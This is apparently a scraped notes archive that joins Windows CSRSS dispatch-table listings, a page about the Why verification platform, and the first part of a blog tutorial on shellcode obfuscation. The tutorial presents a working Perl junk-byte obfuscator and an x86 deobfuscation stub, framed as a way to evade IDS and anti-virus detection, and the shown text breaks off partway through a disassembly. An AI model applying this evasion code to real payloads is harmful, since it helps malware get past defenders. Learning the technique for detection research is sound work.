SrvGetConsoleNlsMode  
SrvSetConsoleNlsMode  
SrvRegisterConsoleIME  
SrvUnregisterConsoleIME  
SrvGetConsoleLangId  
SrvAttachConsole  
SrvGetConsoleSelectionInfo  
SrvGetConsoleProcessList  
| **CsrServerApiDispatchTable \(csrsrv.dll\)**  
---  
CsrSrvClientConnect  
CsrSrvUnusedFunction  
CsrSrvUnusedFunction  
CsrSrvIdentifyAlertableThread  
CsrSrvSetPriorityClass  
| **UserServerApiDispatchTable \(winsrv.dll\)**  
---  
SrvExitWindowsEx  
SrvEndTask  
SrvLogon  
SrvRegisterServicesProcess  
SrvActivateDebugger  
SrvGetThreadConsoleDesktop  
SrvDeviceEvent  
SrvRegisterLogonProcess  
SrvWin32HeapFail  
SrvWin32HeapFail  
SrvCreateSystemThreads  
  
  
  
WINDOWS\_SERVER\_2003  
---  
| **BaseServerApiDispatchTable \(basesrv.dll\)**  
---  
BaseSrvCreateProcess  
BaseSrvCreateThread  
BaseSrvGetTempFile  
BaseSrvExitProcess  
BaseSrvDebugProcess  
BaseSrvCheckVDM  
BaseSrvUpdateVDMEntry  
BaseSrvGetNextVDMCommand  
BaseSrvExitVDM  
BaseSrvIsFirstVDM  
BaseSrvGetVDMExitCode  
BaseSrvSetReenterCount  
BaseSrvSetProcessShutdownParam  
BaseSrvGetProcessShutdownParam  
BaseSrvNlsSetUserInfo  
BaseSrvNlsSetMultipleUserInfo  
BaseSrvNlsCreateSection  
BaseSrvSetVDMCurDirs  
BaseSrvGetVDMCurDirs  
BaseSrvBatNotification  
BaseSrvRegisterWowExec  
BaseSrvSoundSentryNotification  
BaseSrvRefreshIniFileMapping  
BaseSrvDefineDosDevice  
BaseSrvSetTermsrvAppInstallMode  
BaseSrvNlsUpdateCacheCount  
BaseSrvSetTermsrvClientTimeZone  
BaseSrvSxsCreateActivationContext  
BaseSrvDebugProcess  
BaseSrvRegisterThread  
BaseSrvNlsGetUserInfo  
| **ConsoleServerDispatchTable \(winsrv.dll\)**  
---  
SrvOpenConsole  
SrvGetConsoleInput  
SrvWriteConsoleInput  
SrvReadConsoleOutput  
SrvWriteConsoleOutput  
SrvReadConsoleOutputString  
SrvWriteConsoleOutputString  
SrvFillConsoleOutput  
SrvGetConsoleMode  
SrvGetConsoleNumberOfFonts  
SrvGetConsoleNumberOfInputEvents  
SrvGetConsoleScreenBufferInfo  
SrvGetConsoleCursorInfo  
SrvGetConsoleMouseInfo  
SrvGetConsoleFontInfo  
SrvGetConsoleFontSize  
SrvGetConsoleCurrentFont  
SrvSetConsoleMode  
SrvSetConsoleActiveScreenBuffer  
SrvFlushConsoleInputBuffer  
SrvGetLargestConsoleWindowSize  
SrvSetConsoleScreenBufferSize  
SrvSetConsoleCursorPosition  
SrvSetConsoleCursorInfo  
SrvSetConsoleWindowInfo  
SrvScrollConsoleScreenBuffer  
SrvSetConsoleTextAttribute  
SrvSetConsoleFont  
SrvSetConsoleIcon  
SrvReadConsole  
SrvWriteConsole  
SrvDuplicateHandle  
SrvGetHandleInformation  
SrvSetHandleInformation  
SrvCloseHandle  
SrvVerifyConsoleIoHandle  
SrvAllocConsole  
SrvFreeConsole  
SrvGetConsoleTitle  
SrvSetConsoleTitle  
SrvCreateConsoleScreenBuffer  
SrvInvalidateBitMapRect  
SrvVDMConsoleOperation  
SrvSetConsoleCursor  
SrvShowConsoleCursor  
SrvConsoleMenuControl  
SrvSetConsolePalette  
SrvSetConsoleDisplayMode  
SrvRegisterConsoleVDM  
SrvGetConsoleHardwareState  
SrvSetConsoleHardwareState  
SrvGetConsoleDisplayMode  
SrvAddConsoleAlias  
SrvGetConsoleAlias  
SrvGetConsoleAliasesLength  
SrvGetConsoleAliasExesLength  
SrvGetConsoleAliases  
SrvGetConsoleAliasExes  
SrvExpungeConsoleCommandHistory  
SrvSetConsoleNumberOfCommands  
SrvGetConsoleCommandHistoryLength  
SrvGetConsoleCommandHistory  
SrvSetConsoleCommandHistoryMode  
SrvGetConsoleCP  
SrvSetConsoleCP  
SrvSetConsoleKeyShortcuts  
SrvSetConsoleMenuClose  
SrvConsoleNotifyLastClose  
SrvGenerateConsoleCtrlEvent  
SrvGetConsoleKeyboardLayoutName  
SrvGetConsoleWindow  
SrvGetConsoleCharType  
SrvSetConsoleLocalEUDC  
SrvSetConsoleCursorMode  
SrvGetConsoleCursorMode  
SrvRegisterConsoleOS2  
SrvSetConsoleOS2OemFormat  
SrvGetConsoleNlsMode  
SrvSetConsoleNlsMode  
SrvRegisterConsoleIME  
SrvUnregisterConsoleIME  
SrvGetConsoleLangId  
SrvAttachConsole  
SrvGetConsoleSelectionInfo  
SrvGetConsoleProcessList  
| **CsrServerApiDispatchTable \(csrsrv.dll\)**  
---  
CsrSrvClientConnect  
| **UserServerApiDispatchTable \(winsrv.dll\)**  
---  
SrvExitWindowsEx  
SrvEndTask  
SrvLogon  
SrvRegisterServicesProcess  
SrvActivateDebugger  
SrvGetThreadConsoleDesktop  
SrvDeviceEvent  
SrvRegisterLogonProcess  
SrvCreateSystemThreads  
SrvRecordShutdownReason  
  
  
  
WINDOWS\_VISTA  
---  
| **BaseServerApiDispatchTable \(basesrv.dll\)**  
---  
BaseSrvCreateProcess  
BaseSrvCreateThread  
BaseSrvDeadEntry  
BaseSrvExitProcess  
BaseSrvDeadEntry  
BaseSrvCheckVDM  
BaseSrvUpdateVDMEntry  
BaseSrvGetNextVDMCommand  
BaseSrvExitVDM  
BaseSrvIsFirstVDM  
BaseSrvGetVDMExitCode  
BaseSrvSetReenterCount  
BaseSrvSetProcessShutdownParam  
BaseSrvGetProcessShutdownParam  
BaseSrvSetVDMCurDirs  
BaseSrvGetVDMCurDirs  
BaseSrvBatNotification  
BaseSrvRegisterWowExec  
BaseSrvSoundSentryNotification  
BaseSrvRefreshIniFileMapping  
BaseSrvDefineDosDevice  
BaseSrvSetTermsrvAppInstallMode  
BaseSrvSetTermsrvClientTimeZone  
BaseSrvSxsCreateActivationContext  
BaseSrvDeadEntry  
BaseSrvRegisterThread  
BaseSrvDeferredCreateProcess  
BaseSrvNlsGetUserInfo  
BaseSrvNlsSetUserInfo  
BaseSrvNlsUpdateCacheCount  
| **ConsoleServerDispatchTable \(winsrv.dll\)**  
---  
SrvOpenConsole  
SrvGetConsoleInput  
SrvWriteConsoleInput  
SrvReadConsoleOutput  
SrvWriteConsoleOutput  
SrvReadConsoleOutputString  
SrvWriteConsoleOutputString  
SrvFillConsoleOutput  
SrvGetConsoleMode  
SrvGetConsoleNumberOfFonts  
SrvGetConsoleNumberOfInputEvents  
SrvGetConsoleScreenBufferInfo  
SrvGetConsoleCursorInfo  
SrvGetConsoleMouseInfo  
SrvGetConsoleFontInfo  
SrvGetConsoleFontSize  
SrvGetConsoleCurrentFont  
SrvSetConsoleMode  
SrvSetConsoleActiveScreenBuffer  
SrvFlushConsoleInputBuffer  
SrvGetLargestConsoleWindowSize  
SrvSetConsoleScreenBufferSize  
SrvSetConsoleCursorPosition  
SrvSetConsoleCursorInfo  
SrvSetConsoleWindowInfo  
SrvScrollConsoleScreenBuffer  
SrvSetConsoleTextAttribute  
SrvSetConsoleFont  
SrvSetConsoleIcon  
SrvReadConsole  
SrvWriteConsole  
SrvDuplicateHandle  
SrvGetHandleInformation  
SrvSetHandleInformation  
SrvCloseHandle  
SrvVerifyConsoleIoHandle  
SrvAllocConsole  
SrvFreeConsole  
SrvGetConsoleTitle  
SrvSetConsoleTitle  
SrvCreateConsoleScreenBuffer  
SrvInvalidateBitMapRect  
SrvVDMConsoleOperation  
SrvSetConsoleCursor  
SrvShowConsoleCursor  
SrvConsoleMenuControl  
SrvSetConsolePalette  
SrvSetConsoleDisplayMode  
SrvRegisterConsoleVDM  
SrvGetConsoleHardwareState  
SrvSetConsoleHardwareState  
SrvGetConsoleDisplayMode  
SrvAddConsoleAlias  
SrvGetConsoleAlias  
SrvGetConsoleAliasesLength  
SrvGetConsoleAliasExesLength  
SrvGetConsoleAliases  
SrvGetConsoleAliasExes  
SrvExpungeConsoleCommandHistory  
SrvSetConsoleNumberOfCommands  
SrvGetConsoleCommandHistoryLength  
SrvGetConsoleCommandHistory  
SrvGetConsoleCP  
SrvSetConsoleCP  
SrvSetConsoleKeyShortcuts  
SrvSetConsoleMenuClose  
SrvConsoleNotifyLastClose  
SrvGenerateConsoleCtrlEvent  
SrvGetConsoleKeyboardLayoutName  
SrvGetConsoleWindow  
SrvGetConsoleCharType  
SrvSetConsoleLocalEUDC  
SrvSetConsoleCursorMode  
SrvGetConsoleCursorMode  
SrvRegisterConsoleOS2  
SrvSetConsoleOS2OemFormat  
SrvGetConsoleNlsMode  
SrvSetConsoleNlsMode  
SrvRegisterConsoleIME  
SrvUnregisterConsoleIME  
SrvQueryConsoleIME  
SrvGetConsoleLangId  
SrvAttachConsole  
SrvGetConsoleSelectionInfo  
SrvGetConsoleProcessList  
SrvGetConsoleHistory  
SrvSetConsoleHistory  
SrvSetConsoleCurrentFont  
SrvSetScreenBufferInfo  
| **CsrServerApiDispatchTable \(csrsrv.dll\)**  
---  
CsrSrvClientConnect  
| **UserServerApiDispatchTable \(winsrv.dll\)**  
---  
SrvExitWindowsEx  
SrvEndTask  
SrvLogon  
SrvRegisterServicesProcess  
SrvActivateDebugger  
SrvGetThreadConsoleDesktop  
SrvDeviceEvent  
SrvRegisterLogonProcess  
SrvCreateSystemThreads  
SrvRecordShutdownReason  
SrvCancelShutdown  
SrvGetSetShutdownBlockReason  
  
  
  
WINDOWS\_SERVER\_2008  
---  
| **BaseServerApiDispatchTable \(basesrv.dll\)**  
---  
BaseSrvCreateProcess  
BaseSrvCreateThread  
BaseSrvDeadEntry  
BaseSrvExitProcess  
BaseSrvDeadEntry  
BaseSrvCheckVDM  
BaseSrvUpdateVDMEntry  
BaseSrvGetNextVDMCommand  
BaseSrvExitVDM  
BaseSrvIsFirstVDM  
BaseSrvGetVDMExitCode  
BaseSrvSetReenterCount  
BaseSrvSetProcessShutdownParam  
BaseSrvGetProcessShutdownParam  
BaseSrvSetVDMCurDirs  
BaseSrvGetVDMCurDirs  
BaseSrvBatNotification  
BaseSrvRegisterWowExec  
BaseSrvSoundSentryNotification  
BaseSrvRefreshIniFileMapping  
BaseSrvDefineDosDevice  
BaseSrvSetTermsrvAppInstallMode  
BaseSrvSetTermsrvClientTimeZone  
BaseSrvSxsCreateActivationContext  
BaseSrvDeadEntry  
BaseSrvRegisterThread  
BaseSrvDeferredCreateProcess  
BaseSrvNlsGetUserInfo  
BaseSrvNlsSetUserInfo  
BaseSrvNlsUpdateCacheCount  
| **ConsoleServerDispatchTable \(winsrv.dll\)**  
---  
SrvOpenConsole  
SrvGetConsoleInput  
SrvWriteConsoleInput  
SrvReadConsoleOutput  
SrvWriteConsoleOutput  
SrvReadConsoleOutputString  
SrvWriteConsoleOutputString  
SrvFillConsoleOutput  
SrvGetConsoleMode  
SrvGetConsoleNumberOfFonts  
SrvGetConsoleNumberOfInputEvents  
SrvGetConsoleScreenBufferInfo  
SrvGetConsoleCursorInfo  
SrvGetConsoleMouseInfo  
SrvGetConsoleFontInfo  
SrvGetConsoleFontSize  
SrvGetConsoleCurrentFont  
SrvSetConsoleMode  
SrvSetConsoleActiveScreenBuffer  
SrvFlushConsoleInputBuffer  
SrvGetLargestConsoleWindowSize  
SrvSetConsoleScreenBufferSize  
SrvSetConsoleCursorPosition  
SrvSetConsoleCursorInfo  
SrvSetConsoleWindowInfo  
SrvScrollConsoleScreenBuffer  
SrvSetConsoleTextAttribute  
SrvSetConsoleFont  
SrvSetConsoleIcon  
SrvReadConsole  
SrvWriteConsole  
SrvDuplicateHandle  
SrvGetHandleInformation  
SrvSetHandleInformation  
SrvCloseHandle  
SrvVerifyConsoleIoHandle  
SrvAllocConsole  
SrvFreeConsole  
SrvGetConsoleTitle  
SrvSetConsoleTitle  
SrvCreateConsoleScreenBuffer  
SrvInvalidateBitMapRect  
SrvVDMConsoleOperation  
SrvSetConsoleCursor  
SrvShowConsoleCursor  
SrvConsoleMenuControl  
SrvSetConsolePalette  
SrvSetConsoleDisplayMode  
SrvRegisterConsoleVDM  
SrvGetConsoleHardwareState  
SrvSetConsoleHardwareState  
SrvGetConsoleDisplayMode  
SrvAddConsoleAlias  
SrvGetConsoleAlias  
SrvGetConsoleAliasesLength  
SrvGetConsoleAliasExesLength  
SrvGetConsoleAliases  
SrvGetConsoleAliasExes  
SrvExpungeConsoleCommandHistory  
SrvSetConsoleNumberOfCommands  
SrvGetConsoleCommandHistoryLength  
SrvGetConsoleCommandHistory  
SrvGetConsoleCP  
SrvSetConsoleCP  
SrvSetConsoleKeyShortcuts  
SrvSetConsoleMenuClose  
SrvConsoleNotifyLastClose  
SrvGenerateConsoleCtrlEvent  
SrvGetConsoleKeyboardLayoutName  
SrvGetConsoleWindow  
SrvGetConsoleCharType  
SrvSetConsoleLocalEUDC  
SrvSetConsoleCursorMode  
SrvGetConsoleCursorMode  
SrvRegisterConsoleOS2  
SrvSetConsoleOS2OemFormat  
SrvGetConsoleNlsMode  
SrvSetConsoleNlsMode  
SrvRegisterConsoleIME  
SrvUnregisterConsoleIME  
SrvQueryConsoleIME  
SrvGetConsoleLangId  
SrvAttachConsole  
SrvGetConsoleSelectionInfo  
SrvGetConsoleProcessList  
SrvGetConsoleHistory  
SrvSetConsoleHistory  
SrvSetConsoleCurrentFont  
SrvSetScreenBufferInfo  
| **CsrServerApiDispatchTable \(csrsrv.dll\)**  
---  
CsrSrvClientConnect  
CsrSrvUnusedFunction  
CsrSrvUnusedFunction  
CsrSrvUnusedFunction  
CsrSrvUnusedFunction  
| **UserServerApiDispatchTable \(winsrv.dll\)**  
---  
SrvExitWindowsEx  
SrvEndTask  
SrvLogon  
SrvRegisterServicesProcess  
SrvActivateDebugger  
SrvGetThreadConsoleDesktop  
SrvDeviceEvent  
SrvRegisterLogonProcess  
SrvWin32HeapFail  
SrvWin32HeapFail  
SrvCreateSystemThreads  
  
  
  
WINDOWS\_7\_RC  
---  
| **BaseServerApiDispatchTable \(basesrv.dll\)**  
---  
BaseSrvCreateProcess  
BaseSrvCreateThread  
BaseSrvDeadEntry  
BaseSrvExitProcess  
BaseSrvDeadEntry  
BaseSrvCheckVDM  
BaseSrvUpdateVDMEntry  
BaseSrvGetNextVDMCommand  
BaseSrvExitVDM  
BaseSrvIsFirstVDM  
BaseSrvGetVDMExitCode  
BaseSrvSetReenterCount  
BaseSrvSetProcessShutdownParam  
BaseSrvGetProcessShutdownParam  
BaseSrvSetVDMCurDirs  
BaseSrvGetVDMCurDirs  
BaseSrvBatNotification  
BaseSrvRegisterWowExec  
BaseSrvSoundSentryNotification  
BaseSrvRefreshIniFileMapping  
BaseSrvDefineDosDevice  
BaseSrvSetTermsrvAppInstallMode  
BaseSrvSetTermsrvClientTimeZone  
BaseSrvCreateActivationContext  
BaseSrvDeadEntry  
BaseSrvRegisterThread  
BaseSrvDeferredCreateProcess  
BaseSrvNlsGetUserInfo  
BaseSrvNlsUpdateCacheCount  
| **ConsoleServerDispatchTable \(conhost.exe\)**  
---  
SrvOpenConsole  
SrvGetConsoleInput  
SrvWriteConsoleInput  
SrvReadConsoleOutput  
SrvWriteConsoleOutput  
SrvReadConsoleOutputString  
SrvWriteConsoleOutputString  
SrvFillConsoleOutput  
SrvGetConsoleMode  
SrvGetConsoleNumberOfFonts  
SrvGetConsoleNumberOfInputEvents  
SrvGetConsoleScreenBufferInfo  
SrvGetConsoleCursorInfo  
SrvGetConsoleMouseInfo  
SrvGetConsoleFontInfo  
SrvGetConsoleFontSize  
SrvGetConsoleCurrentFont  
SrvSetConsoleMode  
SrvSetConsoleActiveScreenBuffer  
SrvFlushConsoleInputBuffer  
SrvGetLargestConsoleWindowSize  
SrvSetConsoleScreenBufferSize  
SrvSetConsoleCursorPosition  
SrvSetConsoleCursorInfo  
SrvSetConsoleWindowInfo  
SrvScrollConsoleScreenBuffer  
SrvSetConsoleTextAttribute  
SrvSetConsoleFont  
SrvSetConsoleIcon  
SrvReadConsole  
SrvWriteConsole  
SrvDuplicateHandle  
SrvGetHandleInformation  
SrvSetHandleInformation  
SrvCloseHandle  
SrvVerifyConsoleIoHandle  
SrvGetConsoleTitle  
SrvSetConsoleTitle  
SrvCreateConsoleScreenBuffer  
SrvInvalidateBitMapRect  
SrvVDMConsoleOperation  
SrvSetConsoleCursor  
SrvShowConsoleCursor  
SrvConsoleMenuControl  
SrvSetConsolePalette  
SrvSetConsoleDisplayMode  
SrvRegisterConsoleVDM  
SrvGetConsoleHardwareState  
SrvSetConsoleHardwareState  
SrvGetConsoleDisplayMode  
SrvAddConsoleAlias  
SrvGetConsoleAlias  
SrvGetConsoleAliasesLength  
SrvGetConsoleAliasExesLength  
SrvGetConsoleAliases  
SrvGetConsoleAliasExes  
SrvExpungeConsoleCommandHistory  
SrvSetConsoleNumberOfCommands  
SrvGetConsoleCommandHistoryLength  
SrvGetConsoleCommandHistory  
SrvGetConsoleCP  
SrvSetConsoleCP  
SrvSetConsoleKeyShortcuts  
SrvSetConsoleMenuClose  
SrvConsoleNotifyLastClose  
SrvGenerateConsoleCtrlEvent  
SrvGetConsoleKeyboardLayoutName  
SrvGetConsoleWindow  
SrvGetConsoleCharType  
SrvSetConsoleLocalEUDC  
SrvSetConsoleCursorMode  
SrvGetConsoleCursorMode  
SrvRegisterConsoleOS2  
SrvSetConsoleOS2OemFormat  
SrvGetConsoleNlsMode  
SrvSetConsoleNlsMode  
SrvGetConsoleLangId  
SrvGetConsoleSelectionInfo  
SrvGetConsoleProcessList  
SrvGetConsoleHistory  
SrvSetConsoleHistory  
SrvSetConsoleCurrentFont  
SrvSetScreenBufferInfo  
SrvConsoleClientConnect  
| **CsrServerApiDispatchTable \(csrsrv.dll\)**  
---  
CsrSrvClientConnect  
| **UserServerApiDispatchTable \(winsrv.dll\)**  
---  
SrvExitWindowsEx  
SrvEndTask  
SrvLogon  
SrvActivateDebugger  
SrvDeviceEvent  
SrvCreateSystemThreads  
SrvRecordShutdownReason  
SrvCancelShutdown  
SrvConsoleHandleOperation  
SrvGetSetShutdownBlockReason  
  
  
  

# Why: a software verification platform

**Created:**| _11/27/2010 11:20:06 PM_  
---|---  
**Updated:**| _11/27/2010 11:20:06 PM_  
**Author:**| __  
**Tags:**| _research projects SMT_  
  

# Why

_Why_ is a software verification platform.

This platform contains several tools:

  * a general-purpose verification condition generator \(VCG\), _Why_ , which is used as a back-end by other verification tools \(see below\) but which can also be used directly to verify programs \(see for instance these examples\) ; 
  * a tool Krakatoa for the verification of Java programs; 
  * a tool Caduceus for the verification of C programs; note that Caduceus is somewhat obsolete now and users should turn to Frama-C instead. 

One of the main features of _Why_ is to be integrated with many existing
provers \(proof assistants such as Coq, PVS, Isabelle/HOL, HOL 4, HOL Light,
Mizar and decision procedures such as Simplify, Alt-Ergo, Yices, Z3, CVC3,
etc.\).

#### Documentation

User manual, in PostScript and HTML.

Introduction to the _Why_ tool given at the TYPES Summer School 2007 : slides
; lecture notes ; exercises.

Examples of programs certified with _Why_ are collected on this page.

_Why_ is presented in this article. Theoretical foundations are described in
this paper.

#### Download

_Why_ is freely available, under the terms of the GNU LIBRARY GENERAL PUBLIC
LICENSE \(with a special exception for linking; see the LICENSE file included
in the source distribution\). It is available as:

  * Source: why-2.27.tar.gz \(contains Caduceus, Krakatoa and the Frama-C plugin\) 
  * Windows: Why Installer 2.13

Here are the recent changes.

You download previous versions from the FTP zone.

Requirements:

  * to compile the sources, you need Objective Caml 3.09 \(or higher\) 
  * to compile the graphical user interface gwhy \(optional but highly recommanded\) you also need the Lablgtk2 library \(Note that there is a Debian package, liblablgtk2-ocaml-dev\). 
  * no prover is distributed with Why, you must install at least one supported prover from the list below 
  * if you are willing to use Coq as a back-end prover, you need at least Coq version 7.4 

There is an Eclipse plugin for Why/Caduceus/Krakatoa.

To download/install theorem provers, look at the Prover Tips page

#### SMT-lib benchmarks

A set of SMT-lib benchmarks from our test suites: Why Benchmarks.

#### Related tools

  * Krakatoa, a tool on top of _Why_ and Coq to certify JML-annotated Java programs, by Claude Marché, Christine Paulin, Nicolas Rousset and Xavier Urbain
  * Caduceus, a tool on top of _Why_ to certify C programs, by Jean-Christophe Filliâtre, Thierry Hubert and Claude Marché ; now obsolete and subsumed by Frama-C
  * Frama-C, a general environment for static analysis of C programs, which uses _Why_ has a plugin \(plugin Jessie, by Yannick Moy and Claude Marché\) 

For back-end provers, please look at the Prover Tips page

#### Contact

There is a mailing list for Why \(to ask questions about Why, to get announces
of new releases, etc.\). For bug reports, please use the bug tracking system.
For security reasons, you need to register before submitting a new bug. Please
create an account there, where you can put "ProVal" for the required field
"INRIA Research Project you work with or work in".

#### Credits

  * The main developers of the _Why_ platform are Jean-Christophe Filliâtre, Claude Marché, Yannick Moy, Thierry Hubert, Nicolas Rousset 
  * Also have contributed to development: Romain Bardou, Jean-François Couchot, Mehdi Dogguy, Christine Paulin, Yann Régis-Gianas, Xavier Urbain 
  * Yasuhiko Minamide developped the output for Isabelle/HOL
  * Seungkeol Choe developped the output for HOL 4
  * Useful feedback was provided by M. Levy, N. Magaud, C. Paulin, S. Ranise, L. Théry, X. Urbain, F. Wiedijk, S. Boldo, G. Melquiond, ... \(sorry for the ones we forget to mention\) 
  * Michel Levy and César Muñoz contributed to _Why_ 's PVS library 

# Simple shellcode obfuscation | Fun Over IP
**Created:**| _9/3/2011 2:32:15 PM_  
---|---  
**Updated:**| _9/3/2011 2:32:15 PM_  
**Author:**| __  
**Tags:**| _shellcode awesome_  
  

# Simple shellcode obfuscation

by foip on September 1st, 2011

# 1\. Introduction

This article aims to provide you with the different steps needed to develop
shellcode obfuscation techniques, and their respective deobfuscator assembly
stubs. This should help you to learn a bit more about IDS and Anti-Virus
evasion techniques, and more than that, to give you an useful template to
create more advanced obfuscations stuffs.

Don’t be confused, we are not talking about shellcode “**encoders** ” since we
do neither modify the opcodes nor remove any bad characters. We will just hide
the shellcode and – hopefully – break common shellcode patterns. It means that
your initial shellcode must already be NULL free or some.

While obfuscating \(or encoding\) a shellcode with your own method will not
help you to bypass **all** anti-virus software \(thanks to sandbox-based AV\),
it is a useful step to achieve it \(but this discussion is out of scope for
the moment\).

There is three main parts in this development:

  1. Obfuscate the Shellcode with a Perl script \(or any other language\). The result will print a shellcode in C syntax.
  2. Write the assembly stub, able to reverse the shellcode in its initial state, and start it.
  3. Tune the stub to make it reusable and put everything together.

## 1.2. Requirements:

  * A computer with an Operating System.
  * Basic C/C++ knowledge.
  * Scripting knowledge such as Perl, Ruby, Python …
  * Basic Shellcode understandings.
  * A bit of Assembly knowledge or enough of motivation to break the ice.

# 2\. Shellcode scrambling method \(one over 0xffffffff\)

The following picture illustrates the way we’ve obfuscated our Shellcode. We
keep it simple for demonstration purpose.

<img src='img/Temp2_7525.png' width='600' height='320' alt='Obfuscation' />

Junk bytes have been introduced between each byte of the initial shellcode,
and the junk length is random too.

In order to be able to retrieve the location of the initial bytes at run-time
\(and so rebuild the initial shellcode\), the junk length is stored right
after the shellcode bytes as you can see in the previous picture.

The pros:

  * No way to recognize the initial shellcode since the bytes are totally flooded over a bunch of bytes, at random distances.
  * Easy to implement.

The cons:

  * The size of the new shellcode.

As usual, the final Shellcode will looks like this: \{ STUB \} \{OBFUSCATED
SHELLCODE\}

# 3\. Practice

## 3.1. The obfuscation part

As previously written, we have developed a Perl script to generate the
obfuscated version of the Shellcode. Feel free to use any other language if
you are not familiar with Perl.

This is just a first version of the script which will print out the obfuscated
version of the Shellcode, based on the rule explained above \(see the previous
picture\). In a later step, we will adapt this script to insert \(and tune\)
the assembly stub to the final shellcode, and permit its deobfuscation..

[code]

    #!/usr/bin/perl -w
    # ----------
    # obf1.pl
    # ----------
    
    use strict;
    
    # simple shellcode (print 'hello')
    my $buf =
    "\xeb\x19\x31\xc0\x31\xdb\x31\xd2\x31\xc9\xb0\x04\xb3\x01" .
    "\x59\xb2\x05\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8" .
    "\xe2\xff\xff\xff\x68\x65\x6c\x6c\x6f";
    
    #========================== CODE =============================
    
    my $buf_length = do{length $buf};
    
    # convert buf string into an array
    my @buf_array = unpack 'a' x length $buf, $buf;
    
    # random pool
    my @rnd_steps=(1,2,3);
    my @chars=('a'..'z','A'..'Z','0'..'9','_');
    
    # final shellcode
    my $final = "";
    
    # init pseudo rnd generator
    my $rnd=0;
    srand(time);
    
    # start obfuscation
    for(my $i=0; $i< $buf_length ; $i++){
    
    	# copy good shellcode byte into final buffer
    	$final	.= chr(ord($buf_array[$i]));
    
    	# get random from @rnd_step
    	$rnd	= $rnd_steps[rand @rnd_steps];
    
    	# append random number after the SC byte
    	$final	.= pack('c', $rnd);
    
    	# add 'random - 1' junk bytes
    	for(my $p=1; $p < $rnd; $p++){
    		$final .= $chars[rand @chars]; # RND
    	}
    }
    
    # print final shellcode in C language
    print "// NEW SHELLCODE\n";
    print "unsigned char buf[] = ";
    my $hex = unpack('H*', $final);
    for (my $i = 0; $i < length $hex; $i+=2) {
    	if($i % 15 eq 0){
    		if($i eq 0)	{print "\n\"";}
    		else		{print "\"\n\"";}
    	}
    	print "\\x" . substr $hex, $i, 2;
    }
    print "\";\n\n";
    
    # print shellcode length (optional)
    print "unsigned int buf_len = ". do{length $final} . ";\n";
[/code]

Lets try:

[code]

    [user@linux]$ ./obf1.pl
[/code]

[code]

    // NEW SHELLCODE
    unsigned char buf[] =
    "\xeb\x02\x33\x19\x01\x31\x03\x4f\x6e\xc0\x02\x48\x31\x01\xdb"
    "\x02\x34\x31\x03\x53\x47\xd2\x03\x70\x56\x31\x01\xc9\x02\x48"
    "\xb0\x02\x5f\x04\x01\xb3\x02\x68\x01\x02\x63\x59\x03\x6a\x4d"
    "\xb2\x01\x05\x03\x76\x70\xcd\x02\x56\x80\x01\x31\x03\x33\x7a"
    "\xc0\x02\x53\xb0\x03\x62\x52\x01\x01\x31\x02\x50\xdb\x02\x6d"
    "\xcd\x01\x80\x01\xe8\x01\xe2\x02\x75\xff\x03\x67\x47\xff\x01"
    "\xff\x01\x68\x02\x76\x65\x03\x5a\x45\x6c\x02\x53\x6c\x02\x4f"
    "\x6f\x01";
    
    unsigned int buf_len = 107;
[/code]

As you can see:

  * the first byte is a valid shellcode byte \(\xeb\)
  * the second byte is the junk length before the next valid byte, and is chosen randomly \(\x02\)
  * the third byte is a random junk byte
  * the fourth byte is the second valid byte \(\x19\)
  * …

## 3.2. The deobfuscation stub

This section is probably a bit more interesting. Here we will manage the
deobfuscation of the shellcode at run-time by writing a small assembly code.

[code]

    ;enc2.asm
    [SECTION .text]
    global _start
    _start:
            jmp short ender ; push SC addre on the stack (MY_JMP_ENDER)
    
    starter:
    
            xor eax, eax    ; clean up the registers
            xor ebx, ebx
            xor edx, edx
            xor ecx, ecx
    
            pop edx         ; get addr of shellcode (jmp short ender)
            push edx
    
            mov esi, edx    ; set SC addr
            mov edi, edx    ; set SC addr
            inc esi         ; point to the first dst position
            inc edi         ; point to the first rnd
    
            mov cl, 200     ; tmp loop counter (MY_CNT)
    
    myloop:
            xor eax, eax
            xor ebx, ebx
    
            mov al, byte [edi]  ; read distance to next byte
            add eax, edi        ; eax = addr of the next valid byte
    
            mov bl, byte [eax]  ; bl = next valid byte of the shellcode
            mov byte [esi], bl  ; move it to the final position
    
            mov edi, eax        ;
            inc edi             ; edi = next distance
            inc esi             ; esi = next position for a valid byte
    
            loop myloop         ; loop
    
    done:
            pop ecx             ; call shellcode
            call ecx            ;
    
            xor eax, eax        ; exit the shellcode (if it returns)
            mov al, 1           ;
            xor ebx,ebx         ;
            int 0x80            ;
    
    ender:
            call starter  ; put the address of the string on the stack
            ;db THE_OBFUSCATED_SHELLCODE
    
[/code]

Some explanations:

In starter section, we are resetting the registers, put the address of the
shellcode into EDX, initiate ESI and EDI which will later be used to navigate
and modify the shellcode, and set ECX to \(for the moment\) a random value
\(ECX is the loop counter\). ECX will have to hold the real length of the
initial shellcode, and will be updated later by the Perl script.

In myloop section, we simply parse the obfuscated shellcode, and move back the
valid bytes to their initial positions.

In done section, we jump to the address of the shellcode.

ender section is the usual way to push the address of the shellcode onto the
stack. During the call starter instruction, EIP register will be pushed on the
top of the stack and will contains the address of the next instruction \(which
will be the first instruction of the shellcode\).

Let’s compile our stub. Here we use **nasm** under Linux, but the stub will of
course works under Windows too. After that, we dump the opcodes and check that
everything is as expected.

[code]

    [user@linux]$ nasm -f elf enc2.asm
    [user@linux]$ ld -o enc2 enc2.o
    [user@linux]$ objdump -d enc2
[/code]

[code]

    enc2:     file format elf32-i386
    
    Disassembly of section .text:
    
    08048060 <_start>:
     8048060:	eb 2f                	jmp    8048091 <ender>
    
    08048062 <starter>:
     8048062:	31 c0                	xor    %eax,%eax
     8048064:	31 db                	xor    %ebx,%ebx
     8048066:	31 d2                	xor    %edx,%edx
     8048068:	31 c9                	xor    %ecx,%ecx
     804806a:	5a                   	pop    %edx
     804806b:	52                   	push   %edx
     804806c:	89 d6                	mov    %edx,%esi
     804806e:	89 d7                	mov    %edx,%edi
     8048070:	46                   	inc    %esi
     8048071:	47                   	inc    %edi
     8048072:	b1 c8                	mov    $0xc8,%cl
    
    08048074 <myloop>:
     8048074:	31 c0                	xor    %eax,%eax
     8048076:	31 db                	xor    %ebx,%ebx
     8048078:	8a 07                	mov    (%edi),%al
     804807a:	01 f8                	add    %edi,%eax
     804807c:	8a 18                	mov    (%eax),%bl
     804807e:	88 1e                	mov    %bl,(%esi)
     8048080:	89 c7                	mov    %eax,%edi
     8048082:	47                   	inc    %edi
     8048083:	46                   	inc    %esi
     8048084:	e2 ee                	loop   8048074 <myloop>
    
    08048086 <done>:
     8048086:	59                   	pop    %ecx
